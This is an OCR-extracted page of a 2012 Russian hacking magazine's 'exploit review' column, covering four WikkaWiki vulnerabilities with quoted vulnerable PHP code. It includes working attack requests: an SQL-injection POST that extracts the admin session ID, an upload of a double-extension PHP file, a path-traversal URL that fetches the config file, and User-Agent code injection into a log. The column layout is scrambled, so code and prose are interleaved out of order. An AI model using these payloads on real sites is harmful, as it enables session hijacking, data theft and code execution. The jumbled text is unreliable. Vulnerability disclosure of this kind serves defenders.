ВЗЛОМ / ОБЗОР ЭКСПЛОИТОВПавел Павел Александрович (ivinside.blogspot.com)Дмитрий Михайлович Дмитрий Михайлович (115612, дер. Красная звездочка, д.1)0бзорэксплоитовВ нашу нелегкую эпоху буйства компьютерных технологий мы с радостьюпредставляем очередной обзор нашумевших уязвимостейи сплоитов для них. Как всегда, призываем тебя использовать ихне хулиганства ради, а защиты для!1Множественные уязвимости в WikkaWikiCVSSV2 7.5(:N/AC:L/AU:N/C:P/I:P/A:P)BRIEFВ конце ноября была опубликована информация об уязвимостяхв движке WikkaWiki, найденных товарищем Egidio Romano akaEgiX. Что примечательно, на момент публикации уязвимости ещёне были закрыты: исследователь выжидал почти два месяца послеотправки отчета разработчику, но тот по каким-то причинамне торопился исправлять баги.будет ошибка). Однако всегда можно выполнить подзапрос и увестиидентификатор сессии админа. Вот пример такого запроса:POST /wikka/UserSettings HTTP/1.1Host: localhostCookie: 96522b217a86eca82f6d72ef88c4c7f4=c3u94bo2csludij3v18787i4p6Content-Length: 140Content-Type: application/x-www-form-urlencodedConnection: keep-aliveaction=update&email=test%40test.com&default_comment_display=',email=EXPLOIT1. SQL-инъекция в операторе UPDATE. Уязвимый код находитсяв файле /actions/usersettings/usersettings.php, строки 140–152:default: // input is valid$this->Query("UPDATE ".$this->GetConfigValue('table_prefix')."usersSET email = '".mysql_real_escape_string($email)."',doubleclickedit='".mysql_real_escape_string($doubleclickedit)."',show_comments='".mysql_real_escape_string($show_comments)."',default_comment_display='".$default_comment_display."',revisioncount = ".$revisioncount.",changescount = ".$changescount.",theme = '".mysql_real_escape_string($usertheme)."'WHERE name = '".$user['name']."'LIMIT 1");При выполнении запроса, содержащегося в этом коде, мы видим,что функция mysql_real_escape_string() предварительно не обрабатываетпараметр default_comment_display, а значит, мы можемвнедрить в него произвольный SQL-запрос. В некоторых случаяхнам не удастся изменить содержимое таблицы users, напримерпароль админа, по двум причинам. Во-первых, указанный запросявляется многострочным, а во-вторых, последние версии MySQLне поддерживают незакрытые комменты (коммент, открывающийсязначками /*, должен всегда оканчиваться значками */ — иначеУязвимость в функции AfdJoinLeaf052ХАКЕР 02 /157/ 2012
Обзор эксплоитов(SELECT sessionid FROM wikka_sessions WHEREuserid='WikiAdmin'),theme='В том случае, если админ в данный момент залогинен, атакующийувидит идентификатор его сессии в поле формы UserSettings, предназначенномдля ввода e-mail’а. Если админ вручную не завершилсеанс работы в системе (то есть не нажал на Logout), атакующийсможет использовать номер его сессии, который останется в БД.Благодаря функции magicQuotesWorkaround, успешная эксплуатациядаже не требует директивы «magic_quotes_gpc = off».2. Загрузка произвольных файлов. Уязвимый код содержитсяв файле /actions/files/files.php, строки 266–278:elseif (preg_match('/.+\.('.$allowed_extensions.')$/i', $_FILES['file']['name'])){$strippedname = str_replace('\'','',$_FILES['file']['name']);$strippedname = rawurlencode($strippedname);$strippedname = stripslashes($strippedname);$destfile = $upload_path.DIRECTORY_SEPARATOR.$strippedname;if (!file_exists($destfile)) {if (move_uploaded_file($_FILES['file']['tmp_name'],$destfile)){$notification_msg = T_("File was successfully uploaded.");}Если в конфиге присутствует параметр 'INTRANET_MODE' или атакующийпохитил идентификатор сессии с помощью вышеописанногобага, то он может загрузить на сервер файл с двойным расширением,что позволит ему, например, выполнить произвольный PHP-код.Стоит обратить внимание на переменную $allowed_extensions, в которойопределены допустимые типы файлов. Вот как она выглядит:'gif|jpeg|jpg|jpe|png|doc|xls|csv|ppt|ppz|pps|pot|pdf|asc|txt|zip|gtar|gz|bz2|tar|rar|vpp|mpp|vsd|mm|htm|html'В этом списке присутствуют достаточно редкие расширения, которыене отражены в MIME-типах конфигурации Apache, например mm, vpp,в результате чего у атакующего появляется возможность выполнитьпроизвольный PHP-код. Следующий запрос демонстрирует загрузкуфайла с именем test.php.mm и содержимым :POST /wikka/test HTTP/1.1Host: localhostCookie: 96522b217a86eca82f6d72ef88c4c7f4=upjhsdd5rtc0ib55gv36l0jdt3Content-Length: 251Content-Type: multipart/form-data;boundary=--------1503534127Connection: keep-alive----------1503534127Content-Disposition: form-data; name="file";filename="test.php.mm"Content-Type: application/octet-streamУязвимый код в /handlers/files.xml/files.xml.php3. Выгрузка произвольных файлов. Интересующий нас код содержитсяв файле /handlers/files.xml/files.xml.php. Ты можешьувидеть его на соответствующем рисунке. Проверка переданногопользователем имени файла производится единственныйраз, в строке 54, и отсекает все файлы, имя которых начинаетсяс точки. Такой прием не помешает атакующему реализовать атакутипа Path Traversal — запрос на скачивание конфигурационногофайла движка выглядит так:http://localhost/wikka/test/files.xml?action=download&file=/../../wikka.config.php4. Ну и на десерт произвольное выполнение кода. Уязвимый кодсодержится в функции logSpam() файла /libs/Wakka.class.php,строки 1315–1343:function logSpam($type,$tag,$body,$reason,$urlcount,$user='',$time=''){$spamlogpath = (isset($this->config['spamlog_path'])) ?$this->config['spamlog_path'] : DEF_SPAMLOG_PATH;if ($user == ''){$user = $this->GetUserName();}if ($time == ''){$time = date('Y-m-d H:i:s');}if (preg_match('/^mass delete/',$reason)){$originip = '0.0.0.0';}else{$originip = $_SERVER['REMOTE_ADDR'];}$ua = (isset($_SERVER['HTTP_USER_AGENT'])) ?'['.$_SERVER['HTTP_USER_AGENT'].']' : '[?]';$body = trim($body);$sig = SPAMLOG_SIG.' '.$type.' '.$time.' '.$tag.' - '.$originip.' - '.$user.' '.$ua.' - '.$reason.' - '.$urlcount."\n";----------1503534127Content-Disposition: form-data; name="upload"}$content = $sig.$body."\n\n";return $this->appendFile($spamlogpath,$content);Upload----------1503534127--Если в конфиге включена опция spam_logging, то атакующий сможетвнедрить произвольный PHP-код в файл, заданный в переменной$spamlogpath (по умолчанию ./spamlog.txt.php) через элементмассива $_SERVER['HTTP_USER_AGENT']. Запрос, иллюстрирующийХАКЕР 02 /157/ 2012 053